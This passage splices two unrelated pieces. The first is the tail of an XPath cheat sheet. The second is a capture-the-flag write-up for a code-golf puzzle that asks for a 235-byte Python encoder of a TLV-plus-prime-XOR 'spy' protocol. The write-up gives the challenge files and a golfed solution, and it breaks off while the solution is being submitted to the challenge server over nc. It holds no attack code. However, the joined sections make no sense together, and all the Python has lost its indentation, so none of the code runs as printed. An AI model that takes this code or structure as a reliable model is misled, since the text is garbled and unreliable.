//ul/li # ul > li
//ul/child::li # ul > li (same)
//ul/following-sibling::li # ul ~ li
//ul/descendant-or-self::li # ul li
//ul/ancestor-or-self::li # $('ul').closest('li')
```
----
| | | | |
|------|------|------------|------|
| `//` | `ul` | `/child::` | `li` |
| Axis | Step | Axis | Step |
{.left-text}
Steps of an expression are separated by `/`, usually used to pick child nodes. That's not always true: you can specify a different "axis" with `::`.
### Child axis
```bash
# both the same
//ul/li/a
//child::ul/child::li/child::a
```
`child::` is the default axis. This makes `//a/b/c` work.
```bash
# both the same
# this works because `child::li` is truthy
//ul[li]
//ul[child::li]
```
```bash
# both the same
//ul[count(li) > 2]
//ul[count(child::li) > 2]
```
### Descendant-or-self axis
```bash
# both the same
//div//h4
//div/descendant-or-self::h4
```
`//` is short for the `descendant-or-self::` axis.
```bash
# both the same
//ul//[last()]
//ul/descendant-or-self::[last()]
```
### Other axes {.row-span-2}
| Axis | Abbrev | Notes |
|--------------------|--------|-------|
| `ancestor` | | |
| `ancestor-or-self` | | |
| `attribute` | `@` | `@href` is short for `attribute::href` |
| `child` | | `div` is short for `child::div` |
| `descendant` | | |
| `descendant-or-self` | `//` | `//` is short for `/descendant-or-self::node()/` |
| `namespace` | | |
| `self` | `.` | `.` is short for `self::node()` |
| `parent` | `..` | `..` is short for `parent::node()` |
| `following` | | |
| `following-sibling` | | |
| `preceding` | | |
| `preceding-sibling` | | |
{.headers}
There are other axes you can use.
### Unions
```bash
//a | //span
```
Use `|` to join two expressions.
XPath More examples {.cols-2}
-------------
### Examples
```bash
//* # all elements
count(//*) # count all elements
(//h1)[1]/text() # text of the first h1 heading
//li[span] # find a <li> with an <span> inside it
# ...expands to //li[child::span]
//ul/li/.. # use .. to select a parent
```
### Find a parent
```bash
//section[h1[@id='section-name']]
```
Finds a `<section>` that directly contains `h1#section-name`
```bash
//section[//h1[@id='section-name']]
```
Finds a `<section>` that contains `h1#section-name`.
(Same as above, but uses descendant-or-self instead of child)
### Closest
```bash
./ancestor-or-self::[@class="box"]
```
Works like jQuery's `$().closest('.box')`.
### Attributes
```bash
//item[@price > 2*@discount]
```
Finds `<item>` and check its attributes
Also see
--------
* [Devhints](https://devhints.io/xpath) _(devhints.io)_
* [Xpath test bed](http://www.whitebeam.org/library/guide/TechNotes/xpathtestbed.rhtm) _(whitebeam.org)_
|
sec-knowleage
|
# Unknown - Inside Secret Base
Category: Misc.
## Description
> You are walking through a corridor, but hey, what was that?! Changing room, you enter and find a uniform, you put it on, wow, you’re hot in uniform! You peek outside, and notice a sign on the wall that says "Master office, 100m". You close the door and plan your next steps. You're pretty close to completing your mission, but if anything goes wrong everything you've learnt will be lost. So you pull out your laptop, write down everything you know, encrypt it, hit send, and in horror watch an error appearing on the screen! You start investigating and quickly find out that a few blocks on your SSD chose this moment to die. But it gets worse - one of these blocks contained an encoding routine you needed for the data! No matter, you can implement it yourself in a few minutes, right?
>
> Challenge: Playing golf (misc)
>
> What luck! You found the official documentation of the protocol with an example implementation! Uh, but that's that? You can't write to the disk anymore? What?! OK, slowly now. You find a partially writable block with 235 bytes of free space. How are you going to squeeze in the encoder.py's functionality in just 235 bytes?! Well, you guess you have to try.
Four files were attached:
`decoder.py`:
```python
#!/usr/bin/python3
import struct
__all__ = ["decode"]
NUMBERS = [
2, 3, 5, 7, 11, 13, 17, 19, 23, 29,
31, 37, 41, 43, 47, 53, 59, 61, 67, 71,
73, 79, 83, 89, 97, 101, 103, 107, 109, 113,
127, 131, 137, 139, 149, 151, 157, 163, 167, 173,
179, 181, 191, 193, 197, 199, 211, 223, 227, 229,
233, 239, 241, 251, 257, 263, 269, 271, 277, 281,
283, 293, 307, 311, 313, 317, 331, 337, 347, 349,
353, 359, 367, 373, 379, 383, 389, 397, 401, 409,
419, 421, 431, 433, 439, 443, 449, 457, 461, 463,
467, 479, 487, 491, 499, 503, 509, 521, 523, 541,
547, 557, 563, 569, 571, 577, 587, 593, 599, 601,
607, 613, 617, 619, 631, 641, 643, 647, 653, 659,
661, 673, 677, 683, 691, 701, 709, 719, 727, 733,
739, 743, 751, 757, 761, 769, 773, 787, 797, 809,
811, 821, 823, 827, 829, 839, 853, 857, 859, 863,
877, 881, 883, 887, 907, 911, 919, 929, 937, 941,
947, 953, 967, 971, 977, 983, 991, 997, 1009, 1013,
1019, 1021, 1031, 1033, 1039, 1049, 1051, 1061, 1063, 1069,
1087, 1091, 1093, 1097, 1103, 1109, 1117, 1123, 1129, 1151,
1153, 1163, 1171, 1181, 1187, 1193, 1201, 1213, 1217, 1223,
1229, 1231, 1237, 1249, 1259, 1277, 1279, 1283, 1289, 1291,
1297, 1301, 1303, 1307, 1319, 1321, 1327, 1361, 1367, 1373,
1381, 1399, 1409, 1423, 1427, 1429, 1433, 1439, 1447, 1451,
1453, 1459, 1471, 1481, 1483, 1487, 1489, 1493, 1499, 1511,
1523, 1531, 1543, 1549, 1553, 1559, 1567, 1571, 1579, 1583,
1597, 1601, 1607, 1609, 1613, 1619, 1621, 1627, 1637, 1657,
1663, 1667, 1669, 1693, 1697, 1699, 1709, 1721, 1723, 1733,
1741, 1747, 1753, 1759, 1777, 1783, 1787, 1789, 1801, 1811,
1823, 1831, 1847, 1861, 1867, 1871, 1873, 1877, 1879, 1889,
1901, 1907, 1913, 1931, 1933, 1949, 1951, 1973, 1979, 1987,
1993, 1997, 1999, 2003, 2011, 2017, 2027, 2029, 2039, 2053,
2063, 2069, 2081, 2083, 2087, 2089, 2099, 2111, 2113, 2129,
2131, 2137, 2141, 2143, 2153, 2161, 2179, 2203, 2207, 2213,
2221, 2237, 2239, 2243, 2251, 2267, 2269, 2273, 2281, 2287,
2293, 2297, 2309, 2311, 2333, 2339, 2341, 2347, 2351, 2357,
2371, 2377, 2381, 2383, 2389, 2393, 2399, 2411, 2417, 2423,
2437, 2441, 2447, 2459, 2467, 2473, 2477, 2503, 2521, 2531,
2539, 2543, 2549, 2551, 2557, 2579, 2591, 2593, 2609, 2617,
2621, 2633, 2647, 2657, 2659, 2663, 2671, 2677, 2683, 2687,
2689, 2693, 2699, 2707, 2711, 2713, 2719, 2729, 2731, 2741,
2749, 2753, 2767, 2777, 2789, 2791, 2797, 2801, 2803, 2819,
2833, 2837, 2843, 2851, 2857, 2861, 2879, 2887, 2897, 2903,
2909, 2917, 2927, 2939, 2953, 2957, 2963, 2969, 2971, 2999,
3001, 3011, 3019, 3023, 3037, 3041, 3049, 3061, 3067, 3079,
3083, 3089, 3109, 3119, 3121, 3137, 3163, 3167, 3169, 3181,
3187, 3191, 3203, 3209, 3217, 3221, 3229, 3251, 3253, 3257,
3259, 3271, 3299, 3301, 3307, 3313, 3319, 3323, 3329, 3331,
3343, 3347, 3359, 3361, 3371, 3373, 3389, 3391, 3407, 3413,
3433, 3449, 3457, 3461, 3463, 3467, 3469, 3491, 3499, 3511,
3517, 3527, 3529, 3533, 3539, 3541, 3547, 3557, 3559, 3571,
3581, 3583, 3593, 3607, 3613, 3617, 3623, 3631, 3637, 3643,
3659, 3671, 3673, 3677, 3691, 3697, 3701, 3709, 3719, 3727,
3733, 3739, 3761, 3767, 3769, 3779, 3793, 3797, 3803, 3821,
3823, 3833, 3847, 3851, 3853, 3863, 3877, 3881, 3889, 3907,
3911, 3917, 3919, 3923, 3929, 3931, 3943, 3947, 3967, 3989,
4001, 4003, 4007, 4013, 4019, 4021, 4027, 4049, 4051, 4057,
4073, 4079, 4091, 4093, 4099, 4111, 4127, 4129, 4133, 4139,
4153, 4157, 4159, 4177, 4201, 4211, 4217, 4219, 4229, 4231,
4241, 4243, 4253, 4259, 4261, 4271, 4273, 4283, 4289, 4297,
4327, 4337, 4339, 4349, 4357, 4363, 4373, 4391, 4397, 4409,
4421, 4423, 4441, 4447, 4451, 4457, 4463, 4481, 4483, 4493,
4507, 4513, 4517, 4519, 4523, 4547, 4549, 4561, 4567, 4583,
4591, 4597, 4603, 4621, 4637, 4639, 4643, 4649, 4651, 4657,
4663, 4673, 4679, 4691, 4703, 4721, 4723, 4729, 4733, 4751,
4759, 4783, 4787, 4789, 4793, 4799, 4801, 4813, 4817, 4831,
4861, 4871, 4877, 4889, 4903, 4909, 4919, 4931, 4933, 4937,
4943, 4951, 4957, 4967, 4969, 4973, 4987, 4993, 4999, 5003,
5009, 5011, 5021, 5023, 5039, 5051, 5059, 5077, 5081, 5087,
5099, 5101, 5107, 5113, 5119, 5147, 5153, 5167, 5171, 5179,
5189, 5197, 5209, 5227, 5231, 5233, 5237, 5261, 5273, 5279,
5281, 5297, 5303, 5309, 5323, 5333, 5347, 5351, 5381, 5387,
5393, 5399, 5407, 5413, 5417, 5419, 5431, 5437, 5441, 5443,
5449, 5471, 5477, 5479, 5483, 5501, 5503, 5507, 5519, 5521,
5527, 5531, 5557, 5563, 5569, 5573, 5581, 5591, 5623, 5639,
5641, 5647, 5651, 5653, 5657, 5659, 5669, 5683, 5689, 5693,
5701, 5711, 5717, 5737, 5741, 5743, 5749, 5779, 5783, 5791,
5801, 5807, 5813, 5821, 5827, 5839, 5843, 5849, 5851, 5857,
5861, 5867, 5869, 5879, 5881, 5897, 5903, 5923, 5927, 5939,
5953, 5981, 5987, 6007, 6011, 6029, 6037, 6043, 6047, 6053,
6067, 6073, 6079, 6089, 6091, 6101, 6113, 6121, 6131, 6133,
6143, 6151, 6163, 6173, 6197, 6199, 6203, 6211, 6217, 6221,
6229, 6247, 6257, 6263, 6269, 6271, 6277, 6287, 6299, 6301,
6311, 6317, 6323, 6329, 6337, 6343, 6353, 6359, 6361, 6367,
6373, 6379, 6389, 6397, 6421, 6427, 6449, 6451, 6469, 6473,
6481, 6491, 6521, 6529, 6547, 6551, 6553, 6563, 6569, 6571,
6577, 6581, 6599, 6607, 6619, 6637, 6653, 6659, 6661, 6673,
6679, 6689, 6691, 6701, 6703, 6709, 6719, 6733, 6737, 6761,
6763, 6779, 6781, 6791, 6793, 6803, 6823, 6827, 6829, 6833,
6841, 6857, 6863, 6869, 6871, 6883, 6899, 6907, 6911, 6917,
6947, 6949, 6959, 6961, 6967, 6971, 6977, 6983, 6991, 6997,
7001, 7013, 7019, 7027, 7039, 7043, 7057, 7069, 7079, 7103,
7109, 7121, 7127, 7129, 7151, 7159, 7177, 7187, 7193, 7207,
7211, 7213, 7219, 7229, 7237, 7243, 7247, 7253, 7283, 7297,
7307, 7309, 7321, 7331, 7333, 7349, 7351, 7369, 7393, 7411,
7417, 7433, 7451, 7457, 7459, 7477, 7481, 7487, 7489, 7499,
7507, 7517, 7523, 7529, 7537, 7541, 7547, 7549, 7559, 7561,
7573, 7577, 7583, 7589, 7591, 7603, 7607, 7621, 7639, 7643,
7649, 7669, 7673, 7681, 7687, 7691, 7699, 7703, 7717, 7723,
7727, 7741, 7753, 7757, 7759, 7789, 7793, 7817, 7823, 7829,
7841, 7853, 7867, 7873, 7877, 7879, 7883, 7901, 7907, 7919,
]
def read_tlv_block(data, index):
if len(data) - index < 8:
return None
tlv_header = data[index:index + 8]
tlv_type = str(tlv_header[:4], "utf-8")
tlv_length = struct.unpack(">I", tlv_header[4:])[0]
tlv_data = data[index+8:index+8+tlv_length]
return tlv_type, tlv_data
def step1_decode_tlv(input_data_as_byte_stream):
block0 = read_tlv_block(input_data_as_byte_stream, 0)
block1 = read_tlv_block(input_data_as_byte_stream, len(block0[1]) + 8)
block2 = read_tlv_block(input_data_as_byte_stream, len(block0[1]) + len(block1[1]) + 16)
if block0 is None:
raise Exception("TLV block 0 corrupted!")
if block1 is None:
raise Exception("TLV block 1 corrupted!")
if block2 is None:
raise Exception("TLV block 2 corrupted!")
if block0[0] != "BEGN":
raise Exception("BEGN block not found!")
if str(block0[1], "utf-8") != "abcdefghijklmnopqrstuvwxyz":
raise Exception("BEGN block has wrong data")
if block2[0] != "END.":
raise Exception("END. block not found!")
if str(block2[1], "utf-8") != "ABCDEFGHIJKLMNOPQRSTUVWXYZ":
raise Exception("END. block has wrong data")
if block1[0] != "DATA":
raise Exception("DATA block not found!")
return block1[1]
def step2_decrypt_data(data_to_decrypt):
output = []
for i in range(len(data_to_decrypt)):
byte_to_decrypt = data_to_decrypt[i]
key_number = NUMBERS[i]
output.append(byte_to_decrypt ^ (key_number & 0xff))
return bytes(bytearray(output))
def decode(input_data_as_byte_stream):
decrypted_data = step2_decrypt_data(input_data_as_byte_stream)
data = step1_decode_tlv(decrypted_data)
return data
```
`encoder.py`:
```python
#!/usr/bin/python3
import struct
__all__ = ["encode"]
NUMBERS = [
2, 3, 5, 7, 11, 13, 17, 19, 23, 29,
31, 37, 41, 43, 47, 53, 59, 61, 67, 71,
73, 79, 83, 89, 97, 101, 103, 107, 109, 113,
127, 131, 137, 139, 149, 151, 157, 163, 167, 173,
179, 181, 191, 193, 197, 199, 211, 223, 227, 229,
233, 239, 241, 251, 257, 263, 269, 271, 277, 281,
283, 293, 307, 311, 313, 317, 331, 337, 347, 349,
353, 359, 367, 373, 379, 383, 389, 397, 401, 409,
419, 421, 431, 433, 439, 443, 449, 457, 461, 463,
467, 479, 487, 491, 499, 503, 509, 521, 523, 541,
547, 557, 563, 569, 571, 577, 587, 593, 599, 601,
607, 613, 617, 619, 631, 641, 643, 647, 653, 659,
661, 673, 677, 683, 691, 701, 709, 719, 727, 733,
739, 743, 751, 757, 761, 769, 773, 787, 797, 809,
811, 821, 823, 827, 829, 839, 853, 857, 859, 863,
877, 881, 883, 887, 907, 911, 919, 929, 937, 941,
947, 953, 967, 971, 977, 983, 991, 997, 1009, 1013,
1019, 1021, 1031, 1033, 1039, 1049, 1051, 1061, 1063, 1069,
1087, 1091, 1093, 1097, 1103, 1109, 1117, 1123, 1129, 1151,
1153, 1163, 1171, 1181, 1187, 1193, 1201, 1213, 1217, 1223,
1229, 1231, 1237, 1249, 1259, 1277, 1279, 1283, 1289, 1291,
1297, 1301, 1303, 1307, 1319, 1321, 1327, 1361, 1367, 1373,
1381, 1399, 1409, 1423, 1427, 1429, 1433, 1439, 1447, 1451,
1453, 1459, 1471, 1481, 1483, 1487, 1489, 1493, 1499, 1511,
1523, 1531, 1543, 1549, 1553, 1559, 1567, 1571, 1579, 1583,
1597, 1601, 1607, 1609, 1613, 1619, 1621, 1627, 1637, 1657,
1663, 1667, 1669, 1693, 1697, 1699, 1709, 1721, 1723, 1733,
1741, 1747, 1753, 1759, 1777, 1783, 1787, 1789, 1801, 1811,
1823, 1831, 1847, 1861, 1867, 1871, 1873, 1877, 1879, 1889,
1901, 1907, 1913, 1931, 1933, 1949, 1951, 1973, 1979, 1987,
1993, 1997, 1999, 2003, 2011, 2017, 2027, 2029, 2039, 2053,
2063, 2069, 2081, 2083, 2087, 2089, 2099, 2111, 2113, 2129,
2131, 2137, 2141, 2143, 2153, 2161, 2179, 2203, 2207, 2213,
2221, 2237, 2239, 2243, 2251, 2267, 2269, 2273, 2281, 2287,
2293, 2297, 2309, 2311, 2333, 2339, 2341, 2347, 2351, 2357,
2371, 2377, 2381, 2383, 2389, 2393, 2399, 2411, 2417, 2423,
2437, 2441, 2447, 2459, 2467, 2473, 2477, 2503, 2521, 2531,
2539, 2543, 2549, 2551, 2557, 2579, 2591, 2593, 2609, 2617,
2621, 2633, 2647, 2657, 2659, 2663, 2671, 2677, 2683, 2687,
2689, 2693, 2699, 2707, 2711, 2713, 2719, 2729, 2731, 2741,
2749, 2753, 2767, 2777, 2789, 2791, 2797, 2801, 2803, 2819,
2833, 2837, 2843, 2851, 2857, 2861, 2879, 2887, 2897, 2903,
2909, 2917, 2927, 2939, 2953, 2957, 2963, 2969, 2971, 2999,
3001, 3011, 3019, 3023, 3037, 3041, 3049, 3061, 3067, 3079,
3083, 3089, 3109, 3119, 3121, 3137, 3163, 3167, 3169, 3181,
3187, 3191, 3203, 3209, 3217, 3221, 3229, 3251, 3253, 3257,
3259, 3271, 3299, 3301, 3307, 3313, 3319, 3323, 3329, 3331,
3343, 3347, 3359, 3361, 3371, 3373, 3389, 3391, 3407, 3413,
3433, 3449, 3457, 3461, 3463, 3467, 3469, 3491, 3499, 3511,
3517, 3527, 3529, 3533, 3539, 3541, 3547, 3557, 3559, 3571,
3581, 3583, 3593, 3607, 3613, 3617, 3623, 3631, 3637, 3643,
3659, 3671, 3673, 3677, 3691, 3697, 3701, 3709, 3719, 3727,
3733, 3739, 3761, 3767, 3769, 3779, 3793, 3797, 3803, 3821,
3823, 3833, 3847, 3851, 3853, 3863, 3877, 3881, 3889, 3907,
3911, 3917, 3919, 3923, 3929, 3931, 3943, 3947, 3967, 3989,
4001, 4003, 4007, 4013, 4019, 4021, 4027, 4049, 4051, 4057,
4073, 4079, 4091, 4093, 4099, 4111, 4127, 4129, 4133, 4139,
4153, 4157, 4159, 4177, 4201, 4211, 4217, 4219, 4229, 4231,
4241, 4243, 4253, 4259, 4261, 4271, 4273, 4283, 4289, 4297,
4327, 4337, 4339, 4349, 4357, 4363, 4373, 4391, 4397, 4409,
4421, 4423, 4441, 4447, 4451, 4457, 4463, 4481, 4483, 4493,
4507, 4513, 4517, 4519, 4523, 4547, 4549, 4561, 4567, 4583,
4591, 4597, 4603, 4621, 4637, 4639, 4643, 4649, 4651, 4657,
4663, 4673, 4679, 4691, 4703, 4721, 4723, 4729, 4733, 4751,
4759, 4783, 4787, 4789, 4793, 4799, 4801, 4813, 4817, 4831,
4861, 4871, 4877, 4889, 4903, 4909, 4919, 4931, 4933, 4937,
4943, 4951, 4957, 4967, 4969, 4973, 4987, 4993, 4999, 5003,
5009, 5011, 5021, 5023, 5039, 5051, 5059, 5077, 5081, 5087,
5099, 5101, 5107, 5113, 5119, 5147, 5153, 5167, 5171, 5179,
5189, 5197, 5209, 5227, 5231, 5233, 5237, 5261, 5273, 5279,
5281, 5297, 5303, 5309, 5323, 5333, 5347, 5351, 5381, 5387,
5393, 5399, 5407, 5413, 5417, 5419, 5431, 5437, 5441, 5443,
5449, 5471, 5477, 5479, 5483, 5501, 5503, 5507, 5519, 5521,
5527, 5531, 5557, 5563, 5569, 5573, 5581, 5591, 5623, 5639,
5641, 5647, 5651, 5653, 5657, 5659, 5669, 5683, 5689, 5693,
5701, 5711, 5717, 5737, 5741, 5743, 5749, 5779, 5783, 5791,
5801, 5807, 5813, 5821, 5827, 5839, 5843, 5849, 5851, 5857,
5861, 5867, 5869, 5879, 5881, 5897, 5903, 5923, 5927, 5939,
5953, 5981, 5987, 6007, 6011, 6029, 6037, 6043, 6047, 6053,
6067, 6073, 6079, 6089, 6091, 6101, 6113, 6121, 6131, 6133,
6143, 6151, 6163, 6173, 6197, 6199, 6203, 6211, 6217, 6221,
6229, 6247, 6257, 6263, 6269, 6271, 6277, 6287, 6299, 6301,
6311, 6317, 6323, 6329, 6337, 6343, 6353, 6359, 6361, 6367,
6373, 6379, 6389, 6397, 6421, 6427, 6449, 6451, 6469, 6473,
6481, 6491, 6521, 6529, 6547, 6551, 6553, 6563, 6569, 6571,
6577, 6581, 6599, 6607, 6619, 6637, 6653, 6659, 6661, 6673,
6679, 6689, 6691, 6701, 6703, 6709, 6719, 6733, 6737, 6761,
6763, 6779, 6781, 6791, 6793, 6803, 6823, 6827, 6829, 6833,
6841, 6857, 6863, 6869, 6871, 6883, 6899, 6907, 6911, 6917,
6947, 6949, 6959, 6961, 6967, 6971, 6977, 6983, 6991, 6997,
7001, 7013, 7019, 7027, 7039, 7043, 7057, 7069, 7079, 7103,
7109, 7121, 7127, 7129, 7151, 7159, 7177, 7187, 7193, 7207,
7211, 7213, 7219, 7229, 7237, 7243, 7247, 7253, 7283, 7297,
7307, 7309, 7321, 7331, 7333, 7349, 7351, 7369, 7393, 7411,
7417, 7433, 7451, 7457, 7459, 7477, 7481, 7487, 7489, 7499,
7507, 7517, 7523, 7529, 7537, 7541, 7547, 7549, 7559, 7561,
7573, 7577, 7583, 7589, 7591, 7603, 7607, 7621, 7639, 7643,
7649, 7669, 7673, 7681, 7687, 7691, 7699, 7703, 7717, 7723,
7727, 7741, 7753, 7757, 7759, 7789, 7793, 7817, 7823, 7829,
7841, 7853, 7867, 7873, 7877, 7879, 7883, 7901, 7907, 7919,
]
def make_tlv(type, byte_data):
output = []
output.append(bytes(type, "utf-8")[:4])
output.append(struct.pack(">I", len(byte_data)))
output.append(byte_data)
return b''.join(output)
def step1_encode_as_tlv(input_data_as_byte_stream):
output = []
output.append(make_tlv("BEGN", bytes("abcdefghijklmnopqrstuvwxyz", "utf-8")))
output.append(make_tlv("DATA", input_data_as_byte_stream))
output.append(make_tlv("END.", bytes("ABCDEFGHIJKLMNOPQRSTUVWXYZ", "utf-8")))
return b''.join(output)
def step2_encrypt_data(data_to_encrypt):
output = []
for i in range(len(data_to_encrypt)):
byte_to_encrypt = data_to_encrypt[i]
key_number = NUMBERS[i]
output.append(byte_to_encrypt ^ (key_number & 0xff))
return bytes(bytearray(output))
def encode(input_data_as_byte_stream):
tlv_data = step1_encode_as_tlv(input_data_as_byte_stream)
encrypted_data = step2_encrypt_data(tlv_data)
return encrypted_data
#END
```
`tester.py`:
```python
import random
import os
from encoder_golfed import encode
from decoder import decode
for i in range(1000):
sz = random.randint(0, 800)
data = os.urandom(sz)
data_processed = decode(encode(data))
if data != data_processed:
raise Exception('data mismatch')
print("Done")
```
`protocol.txt`:
```
TOP SECRET
BURN BEFORE READING
Agents,
Please send all and any intel to the drop servers encoded in the manner
described in this document. The drop servers will NOT accept any data encoded
in a different way.
In this explanation we are assuming your input data is a stream of bytes not
longer than 800 bytes.
** Step 1. Type-Length-Value
The data need to be TLV encoded. Each TLV block needs to have the following
format:
Bytes 0-3: 4 ASCII characters denoting type
Bytes 4-7: big endian encoded length of data
Bytes 8-...: data
The drop servers require at least 3 TLV blocks:
Block 0: type 'BEGN', length 26, data: abcdefghijklmnopqrstuvwxyz
Block 1: type 'DATA', followed by length/data corresponding to your input data
Block 2: type 'END.', length 26, data: ABCDEFGHIJKLMNOPQRSTUVWXYZ
** Step 2. Encryption
The data needs to be stream-encrypted by XORing the byte stream output of Step 2
with the following sequence of numbers (i.e. byte at index N from the output of
Step 2 must be XORed with bottom 8 bits of number at index N):
2 3 5 7 11 13 17 19 23 29
31 37 41 43 47 53 59 61 67 71
73 79 83 89 97 101 103 107 109 113
127 131 137 139 149 151 157 163 167 173
179 181 191 193 197 199 211 223 227 229
233 239 241 251 257 263 269 271 277 281
283 293 307 311 313 317 331 337 347 349
353 359 367 373 379 383 389 397 401 409
419 421 431 433 439 443 449 457 461 463
467 479 487 491 499 503 509 521 523 541
547 557 563 569 571 577 587 593 599 601
607 613 617 619 631 641 643 647 653 659
661 673 677 683 691 701 709 719 727 733
739 743 751 757 761 769 773 787 797 809
811 821 823 827 829 839 853 857 859 863
877 881 883 887 907 911 919 929 937 941
947 953 967 971 977 983 991 997 1009 1013
1019 1021 1031 1033 1039 1049 1051 1061 1063 1069
1087 1091 1093 1097 1103 1109 1117 1123 1129 1151
1153 1163 1171 1181 1187 1193 1201 1213 1217 1223
1229 1231 1237 1249 1259 1277 1279 1283 1289 1291
1297 1301 1303 1307 1319 1321 1327 1361 1367 1373
1381 1399 1409 1423 1427 1429 1433 1439 1447 1451
1453 1459 1471 1481 1483 1487 1489 1493 1499 1511
1523 1531 1543 1549 1553 1559 1567 1571 1579 1583
1597 1601 1607 1609 1613 1619 1621 1627 1637 1657
1663 1667 1669 1693 1697 1699 1709 1721 1723 1733
1741 1747 1753 1759 1777 1783 1787 1789 1801 1811
1823 1831 1847 1861 1867 1871 1873 1877 1879 1889
1901 1907 1913 1931 1933 1949 1951 1973 1979 1987
1993 1997 1999 2003 2011 2017 2027 2029 2039 2053
2063 2069 2081 2083 2087 2089 2099 2111 2113 2129
2131 2137 2141 2143 2153 2161 2179 2203 2207 2213
2221 2237 2239 2243 2251 2267 2269 2273 2281 2287
2293 2297 2309 2311 2333 2339 2341 2347 2351 2357
2371 2377 2381 2383 2389 2393 2399 2411 2417 2423
2437 2441 2447 2459 2467 2473 2477 2503 2521 2531
2539 2543 2549 2551 2557 2579 2591 2593 2609 2617
2621 2633 2647 2657 2659 2663 2671 2677 2683 2687
2689 2693 2699 2707 2711 2713 2719 2729 2731 2741
2749 2753 2767 2777 2789 2791 2797 2801 2803 2819
2833 2837 2843 2851 2857 2861 2879 2887 2897 2903
2909 2917 2927 2939 2953 2957 2963 2969 2971 2999
3001 3011 3019 3023 3037 3041 3049 3061 3067 3079
3083 3089 3109 3119 3121 3137 3163 3167 3169 3181
3187 3191 3203 3209 3217 3221 3229 3251 3253 3257
3259 3271 3299 3301 3307 3313 3319 3323 3329 3331
3343 3347 3359 3361 3371 3373 3389 3391 3407 3413
3433 3449 3457 3461 3463 3467 3469 3491 3499 3511
3517 3527 3529 3533 3539 3541 3547 3557 3559 3571
3581 3583 3593 3607 3613 3617 3623 3631 3637 3643
3659 3671 3673 3677 3691 3697 3701 3709 3719 3727
3733 3739 3761 3767 3769 3779 3793 3797 3803 3821
3823 3833 3847 3851 3853 3863 3877 3881 3889 3907
3911 3917 3919 3923 3929 3931 3943 3947 3967 3989
4001 4003 4007 4013 4019 4021 4027 4049 4051 4057
4073 4079 4091 4093 4099 4111 4127 4129 4133 4139
4153 4157 4159 4177 4201 4211 4217 4219 4229 4231
4241 4243 4253 4259 4261 4271 4273 4283 4289 4297
4327 4337 4339 4349 4357 4363 4373 4391 4397 4409
4421 4423 4441 4447 4451 4457 4463 4481 4483 4493
4507 4513 4517 4519 4523 4547 4549 4561 4567 4583
4591 4597 4603 4621 4637 4639 4643 4649 4651 4657
4663 4673 4679 4691 4703 4721 4723 4729 4733 4751
4759 4783 4787 4789 4793 4799 4801 4813 4817 4831
4861 4871 4877 4889 4903 4909 4919 4931 4933 4937
4943 4951 4957 4967 4969 4973 4987 4993 4999 5003
5009 5011 5021 5023 5039 5051 5059 5077 5081 5087
5099 5101 5107 5113 5119 5147 5153 5167 5171 5179
5189 5197 5209 5227 5231 5233 5237 5261 5273 5279
5281 5297 5303 5309 5323 5333 5347 5351 5381 5387
5393 5399 5407 5413 5417 5419 5431 5437 5441 5443
5449 5471 5477 5479 5483 5501 5503 5507 5519 5521
5527 5531 5557 5563 5569 5573 5581 5591 5623 5639
5641 5647 5651 5653 5657 5659 5669 5683 5689 5693
5701 5711 5717 5737 5741 5743 5749 5779 5783 5791
5801 5807 5813 5821 5827 5839 5843 5849 5851 5857
5861 5867 5869 5879 5881 5897 5903 5923 5927 5939
5953 5981 5987 6007 6011 6029 6037 6043 6047 6053
6067 6073 6079 6089 6091 6101 6113 6121 6131 6133
6143 6151 6163 6173 6197 6199 6203 6211 6217 6221
6229 6247 6257 6263 6269 6271 6277 6287 6299 6301
6311 6317 6323 6329 6337 6343 6353 6359 6361 6367
6373 6379 6389 6397 6421 6427 6449 6451 6469 6473
6481 6491 6521 6529 6547 6551 6553 6563 6569 6571
6577 6581 6599 6607 6619 6637 6653 6659 6661 6673
6679 6689 6691 6701 6703 6709 6719 6733 6737 6761
6763 6779 6781 6791 6793 6803 6823 6827 6829 6833
6841 6857 6863 6869 6871 6883 6899 6907 6911 6917
6947 6949 6959 6961 6967 6971 6977 6983 6991 6997
7001 7013 7019 7027 7039 7043 7057 7069 7079 7103
7109 7121 7127 7129 7151 7159 7177 7187 7193 7207
7211 7213 7219 7229 7237 7243 7247 7253 7283 7297
7307 7309 7321 7331 7333 7349 7351 7369 7393 7411
7417 7433 7451 7457 7459 7477 7481 7487 7489 7499
7507 7517 7523 7529 7537 7541 7547 7549 7559 7561
7573 7577 7583 7589 7591 7603 7607 7621 7639 7643
7649 7669 7673 7681 7687 7691 7699 7703 7717 7723
7727 7741 7753 7757 7759 7789 7793 7817 7823 7829
7841 7853 7867 7873 7877 7879 7883 7901 7907 7919
The final output byte stream can be sent to the drop server.
```
## Solution
This is a [code golf](https://en.wikipedia.org/wiki/Code_golf) challenge. We need to implement the encoding protocol in less than 235 bytes.
The largest chunk of data in the protocol is the XOR table. We can easily compress it once we notice that it is composed of the first 1000 prime numbers. This means we can reuse a golfed prime number generator such as the one [here](https://codegolf.stackexchange.com/questions/70001/list-prime-numbers/70004#70004).
We get:
```python
k=P=1
p=[]
while k<1e4:
if P%k>0: p+=[k%256]
P*=k*k;k+=1
```
Notice that we use this opportunity to XOR the prime number with `0xff` (i.e. `mod` it with `256`) like `step2_encrypt_data` does.
We also create a function to provide the prefix and suffix:
```python
b=bytes
v=lambda d,s:d+b'\0'*3+b'\x1a'+b(range(s,s+26))
```
We'll call it twice, like this:
```python
>>> v(b'BEGN',97)
b'BEGN\x00\x00\x00\x1aabcdefghijklmnopqrstuvwxyz'
>>> v(b'END.',65)
b'END.\x00\x00\x00\x1aABCDEFGHIJKLMNOPQRSTUVWXYZ'
```
And finally, we implement the `encode` function which adds the `DATA` section and performs the overall XOR:
```python
encode=lambda m:b(g^e for g,e in zip(v(b'BEGN',97)+b'DATA'+__import__('struct').pack(">I",len(m))+m+v(b'END.',65),p))
```
Altogether, we get:
```python
b=bytes
k=P=1
p=[]
while k<1e4:
if P%k>0: p+=[k%256]
P*=k*k;k+=1
v=lambda d,s:d+b'\0'*3+b'\x1a'+b(range(s,s+26))
encode=lambda m:b(g^e for g,e in zip(v(b'BEGN',97)+b'DATA'+__import__('struct').pack(">I",len(m))+m+v(b'END.',65),p))
#END
```
We send it to the server and get the flag:
```console
┌──(user@kali)-[/media/sf_CTFs/google/17_ Unknown_-_Inside_Secret_Base]
└─$ nc playing-golf.2021.ctfcompetition.com 1337
== proof-of-work: disabled ==
Please send your code followed by a line containing only #END
- We will rstrip the lines for you btw.
- Time limit is 5 seconds.
b=bytes
k=P=1
p=[]
while k<1e4:
if P%k>0: p+=[k%256]
P*=k*k;k+=1
v=lambda d,s:d+b'\0'*3+b'\x1a'+b(range(s,s+26))
